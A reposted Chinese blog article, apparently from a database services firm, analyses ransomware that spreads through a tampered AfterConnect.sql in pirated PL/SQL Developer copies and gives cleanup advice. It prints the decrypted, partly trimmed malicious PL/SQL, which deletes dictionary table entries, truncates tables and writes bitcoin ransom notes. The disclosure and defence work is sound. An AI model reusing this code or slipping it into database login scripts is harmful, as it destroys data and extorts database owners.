文档章节

知己知彼-关于Oracle安全比特币勒索问题揭秘和防范

Oscarfff
 Oscarfff
发布于 2016/11/21 10:21
字数 1904
阅读 74
收藏 0
点赞 0
评论 0

风险从来都不是臆想和草木皆兵,就在你不经意的时刻,可能风险就突然降临到我们的身边。

近期,国内很多用户的 Oracle 数据库,突然遭遇到莫名其妙的攻击事件,大家种种猜测、揣摩、重试,引发了一次小小的数据恐慌。

 

在注意到这类安全事件之后,我们第一时间投入分析、采集,最后找出了问题的根源,昨天已经发出了全面的预警和警示,今天再次详述该类问题,与 Oracle 的用户们共为警醒。

 

最近问题的主要原因是某些用户下载了来源不明的数据库管理工具,导致数据库被感染。我们强烈推荐大家提高版权意识,购买正版软件,远离风险,从规范做起。

 

问题症状:

很多用户在录数据库时发现该问题,数据库应用弹出"锁死"提示,并且威胁说需要向黑客发送5个比特币方可获得解锁。

在客户端,你可能获得类似的提示信息:

在数据库受攻击之后,在数据库的告警日志中,可能充斥如下信息:

ORA-00604: error occurred at recursive SQL level 1

ORA-20315: 你的数据库已被SQL RUSH Team锁死  发送5个比特币到这个地址 166xk1FXMB2g8JxBVF5T4Aw1Z5aZ6vSE (大小写一致)  之后把你的Oracle SID邮寄地址 sqlrush@mail.com我们将让你知道如何解锁你的数据库  

Hi buddy, your database was hacked by SQL RUSH Team, send 5 bitcoin to address 166xk1FXMB2g8JxBVF5T4Aw1Z5aZ6vSE (case sensitive),  after that send your Oracle SID to mail address sqlrush@mail.com, we will let you know how to unlock your database.

ORA-06512: at “XXX.DBMS_CORE_INTERNAL         ", line 27

ORA-06512: at line 2

这里无非是一些警示和勒索,但是这儿 SQL RUSH Team,引发了大家的猜测,sqlrush @ mail.com ,这个地址 和 id 引发了对于始作俑者的猜测,当然事实不得而知。

 

问题原因:

我们通过有限的案例,详细分析了问题的原因和感染过程,在此披露出来,给 Oracle 的用户们作为参考。

注意:当一个问题研究清楚之后,就不再会产生恐惧,恐惧来自于未知,在没有遭到原因之前,大家的各种猜测导致问题扩大化,现在可以回到问题的本质上来了。

 

问题的根本原因是:如果用户从互联网上下载了盗版的 PL/SQL Developer 工具后(尤其是各种绿色版、破解版),就可能因为这个工具中招。所以这个问题和 Oracle 本身关系不大,也没有注入那么复杂。而是随着你使用这个工具,用户的权限就自然被附体的进行了入侵。

 

重要的问题要说三遍:盗版软件害人!

 

PL/SQL Developer  在中国的流行程度和盗版程度毋庸置疑。这个软件的安装目录存在一个脚本文件 AfterConnect.sql,这个脚本就是真正的问题所在。

 

正版软件安装,这个脚本文件是空文件,但是被注入的文件包含了一系列的JOB定义、存储过程和触发器定义,就是祸患的源头。

 

受感染文件 -  AfterConnect.sql 开头是这样的,伪装成一个 login.sql 的脚本内容,有清晰的注释代码:

实质内容,以加密方式展示,用户看不到内容,但是可以通过 unwrap 进行解密(但是注意那些解密程序不要存在恶意代码):

无疑,黑客是非常了解 Oracle 数据库的,其脚本代码的核心部分,解密后如下(做了删节,不要害人):

BEGIN

   SELECT NVL(TO_CHAR(SYSDATE-CREATED ),0) INTO DATE1 FROM V$DATABASE;

   IF (DATE1>=1200) THEN

   EXECUTE IMMEDIATE 'create table ORACHK'||SUBSTR(SYS_GUID,10)||' tablespace system  as select * from sys.tab$';

   DELETE SYS.TAB$ WHERE DATAOBJ# IN (SELECT DATAOBJ# FROM SYS.OBJ$ WHERE OWNER# NOT IN (0,38)) ;

   COMMIT;

   EXECUTE IMMEDIATE 'alter system checkpoint';

   SYS.DBMS_BACKUP_RESTORE.RESETCFILESECTION(14);

   FOR I IN 1..2046 LOOP

   DBMS_SYSTEM.KSDWRT(2, 'Hi buddy, your database was hacked by SQL RUSH Team, send 5 bitcoin to address 166xk1FXMB2g8JxBVF5T4Aw1Z5aZ6vSE (case sensitive),  after that send your Oracle SID to mail address sqlrush@mail.com, we will let you know how to unlock your database.');

   DBMS_SYSTEM.KSDWRT(2, '你的数据库已被SQL RUSH Team锁死  发送5个比特币到这个地址 166xk1FXMB2g8JxBVF5T4Aw1Z5aZ6vSE (大小写一致)  之后把你的Oracle SID邮寄地址sqlrush@mail.com 我们将让你知道如何解锁你的数据库 ');

   END LOOP;

   END IF;

END;  

 

请注意黑客的专业性,在程序的开端有以下部分判断:

 

SELECT NVL(TO_CHAR(SYSDATE-CREATED ),0) INTO DATE1 FROM V$DATABASE;

   IF (DATE1>=1200) THEN

也就是,判断数据库创建时间大于1200天,才开始动作(这个判断相当有见地,小库和新库,数据少不重要,先放长线钓大鱼),如果你的数据库还没有爆发,那可能是因为时间还没有到。

 

我们强烈建议用户检查数据库工具的使用情况,避免使用来历不明的工具产品。

我们强烈建议:采用正版软件,规避未知风险。

 

安全漏洞:

我们知道,几乎绝大多数数据库的客户端工具,在访问数据库时,都可以通过脚本进行一定的功能定义,而这些脚本往往就是安全问题的漏洞之一。本例的攻击手段非常初级,但是也非常巧妙。

 

下载来源不明、汉化来历不明、破解来历不明的工具是数据库管理大忌,以下列出了常见客户端工具的脚本位置,需要引起注意:

SQL*Plus: glogin.sql / login.sql

TOAD : toad.ini

PLSQLdeveloper: login.sql / afterconnect.sql

我们强烈建议用户加强数据库的权限管控、生产环境和测试环境隔离,严格管控开发和运维工具。

 

处置建议:

这个攻击是通过 JOB、触发器、存储过程 来协同工具的,所以如果数据库遭遇到这个问题,可以将 JOB 参数 job_queue_processes 设置为 0 ,屏蔽掉 JOB 的执行,然后重启数据库。可以清除注入对象,这些对象可能包括以下同名触发器和存储过程:

 

PROCEDURE "DBMS_CORE_INTERNAL         "

PROCEDURE "DBMS_SYSTEM_INTERNAL         "

PROCEDURE "DBMS_SUPPORT_INTERNAL         "

而攻击的核心代码还包括,这会 Truncate 数据表:

STAT:='truncate table '||USER||'.'||I.TABLE_NAME;

 

如果您的数据库已经遭受攻击和数据损失,可以紧急联系云和恩墨的服务团队,我们可以帮助您处理数据修复事宜。云和恩墨久经考验的ODU产品,可以在数据丢失后最大限度的恢复数据。云和恩墨的自动化巡检工具:Bethune(白求恩),内置一项检查,访问来源、访问工具分析,可以帮助用户梳理清楚你的数据库使用情况。别犹豫,去 https://bethune.enmotech.com 看看,不收钱。

 

事件回顾:

  • 2015年9月,XcodeGhost入侵苹果iOS事件在业内引起不小震动。事件起因为不知名黑客向iOS应用开发工具Xcode植入恶意程序,通过网盘和论坛上传播,被感染的App并以此劫持苹果用户相关信息。来自多个安全团队数据显示,病毒感染波及AppStore下载量最高的5000个App其中的76个,保守估计受影响用户数超过一亿。

  • 2012年2月,中文版putty等SSH远程管理工具被曝出存在后门,该后门会自动窃取管理员所输入的SSH用户名与口令,并将其发送至指定服务器上。

本文转载自:http://mp.weixin.qq.com/s/ZsGr-FHyuSvZnTTpFPtaMA

共有 人打赏支持
Oscarfff
粉丝 71
博文 804
码字总数 96913
作品 0
崇明
后端工程师
网络黑吃黑大戏开演:罪犯借 Tor 代理转移比特币赎金

随着比特币等虚拟货币价格不断攀升,眼馋的黑客们也制造了一波又一波的骚操作、神走位,通过盗币大发横财。雷锋网(公众号:雷锋网)就曾盘点过8大奇葩挖矿木马的敛财之道以及在代币蛋糕上,黑...

大壮旅 ⋅ 02/01 ⋅ 0

博览安全圈:朝鲜被指窃取韩国数亿数字货币

  【IT168 资讯】为了响应国家号召,加强全民网络安全意识,我们会经常性的为大家奉上最具代表性的安全事件。   1.韩国声称价值2.38亿美元数字货币被朝鲜黑客盗取   韩国和朝鲜之间的博...

it168网站 ⋅ 02/07 ⋅ 0

周鸿祎揭秘你不知道的区块链五大缺点

前几天,周鸿祎在一场会议上发表了自己的观点:“现在区块链这么热,但还没看到什么非用不可的场景,唯一杀手级的应用就是比特币。”而且他还提到了一个已经很久没人讲过的概念“51%攻击”,...

北丐09 ⋅ 04/20 ⋅ 0

当我们谈论勒索病毒时,我们谈些什么?

  当整个安全圈还在回味2018年春晚王菲和那英流金20年时,黑客们已悄然进入工作状态,在大年初八就完成了震惊全国安全圈的一件大事,湖南省儿童医院遭受勒索病毒攻击,要求6个小时内支付1...

FreeBuf ⋅ 02/27 ⋅ 0

我所推荐的比特币和区块链学习路径

比特币以及区块链,是2017大热的技术名词,同时2018势头只增不减。为什么?不就一个类似Q币的东西吗?为什么传得这么神?什么颠覆主权货币啦,什么新一代互联网啦。真的有这么神吗?背后的原...

jacobwu ⋅ 05/10 ⋅ 0

从大起到大落 各国的虚拟货币市场有何转变?

  【IT168 评论】从没想过比特币会在2017年如此疯狂的上涨,也从没想过暴涨之后所面临的又是如此重度的暴跌。这种“过山车”式的大起到大落足以让一部分人赚的盆丰钵满,也有人为此而倾家荡...

it168网站 ⋅ 02/12 ⋅ 0

12 亿美元加密数字货币失窃,GDPR 将影响调查进行

根据 Anti-Phishing Working Group(APWG) 的估计,比特币的火热以及超过 1500 种加密数字货币的出现吸引了犯罪分子,2017 年至今大约有 12 亿美元的数字货币失窃。 APWG 主席兼数字货币安全...

局长 ⋅ 05/27 ⋅ 0

进击中的勒索软件 中招后解密全拼运气

时下,勒索软件(Ransomware)已经成为不法黑客们“快速致富”的新途径,根据安全机构对某区域所做的统计显示,2016年第一季度的受害案件对比2015年第四季度增长了近一倍。然而,令人颇为无奈...

青衫无名 ⋅ 2017/07/03 ⋅ 0

关于区块链,你绝不能忽视的4个安全问题和5招应对方法!

内容 | 万涛 IDF极安客实验室联合创始人 整理 | Aholiab 说起区块链,虽然为人大肆谈论,却一直绕不过一个令人尴尬的问题——关于数字资产的丢失、被盗问题屡见不鲜,包括之前币安的安全事件...

雪花又一年 ⋅ 04/18 ⋅ 0

周小川警告区块链投机:不要幻想一夜暴富!

  黄盛 李威   3月9日上午,中国人民银行行长周小川在十三届全国人大一次会议新闻中心就“金融改革与发展”相关问题回答中外记者提问时表示,比特币等分叉产品迅速扩展会对消费者产生不利...

人民网 ⋅ 03/09 ⋅ 0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

tcp/ip详解-链路层

简介 设计链路层的目的: 为IP模块发送和接收IP数据报 为ARP模块发送ARP请求和接收ARP应答 为RARP模块发送RARP请求和接收RARP应答 TCP/IP支持多种链路层协议,如以太网、令牌环往、FDDI、RS-...

loda0128 ⋅ 52分钟前 ⋅ 0

spring.net aop代码例子

https://www.cnblogs.com/haogj/archive/2011/10/12/2207916.html

whoisliang ⋅ 今天 ⋅ 0

发送短信如何限制1小时内最多发送11条短信

发送短信如何限制1小时内最多发送11条短信 场景: 发送短信属于付费业务,有时为了防止短信攻击,需要限制发送短信的频率,例如在1个小时之内最多发送11条短信. 如何实现呢? 思路有两个 截至到当...

黄威 ⋅ 昨天 ⋅ 0

mysql5.7系列修改root默认密码

操作系统为centos7 64 1、修改 /etc/my.cnf,在 [mysqld] 小节下添加一行:skip-grant-tables=1 这一行配置让 mysqld 启动时不对密码进行验证 2、重启 mysqld 服务:systemctl restart mysql...

sskill ⋅ 昨天 ⋅ 0

Intellij IDEA神器常用技巧六-Debug详解

在调试代码的时候,你的项目得debug模式启动,也就是点那个绿色的甲虫启动服务器,然后,就可以在代码里面断点调试啦。下面不要在意,这个快捷键具体是啥,因为,这个keymap是可以自己配置的...

Mkeeper ⋅ 昨天 ⋅ 0

zip压缩工具、tar打包、打包并压缩

zip 支持压缩目录 1.在/tmp/目录下创建目录(study_zip)及文件 root@yolks1 study_zip]# !treetree 11└── 2 └── 3 └── test_zip.txt2 directories, 1 file 2.yum...

蛋黄Yolks ⋅ 昨天 ⋅ 0

聊聊HystrixThreadPool

序 本文主要研究一下HystrixThreadPool HystrixThreadPool hystrix-core-1.5.12-sources.jar!/com/netflix/hystrix/HystrixThreadPool.java /** * ThreadPool used to executed {@link Hys......

go4it ⋅ 昨天 ⋅ 0

容器之上传镜像到Docker hub

Docker hub在国内可以访问,首先要创建一个账号,这个后面会用到,我是用126邮箱注册的。 1. docker login List-1 Username不能使用你注册的邮箱,要用使用注册时用的username;要输入密码 ...

汉斯-冯-拉特 ⋅ 昨天 ⋅ 0

SpringBoot简单使用ehcache

1,SpringBoot版本 2.0.3.RELEASE ①,pom.xml <parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId><version>2.0.3.RELE......

暗中观察 ⋅ 昨天 ⋅ 0

Spring源码解析(八)——实例创建(下)

前言 来到实例创建的最后一节,前面已经将一个实例通过不同方式(工厂方法、构造器注入、默认构造器)给创建出来了,下面我们要对创建出来的实例进行一些“加工”处理。 源码解读 回顾下之前...

MarvelCode ⋅ 昨天 ⋅ 0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

返回顶部
顶部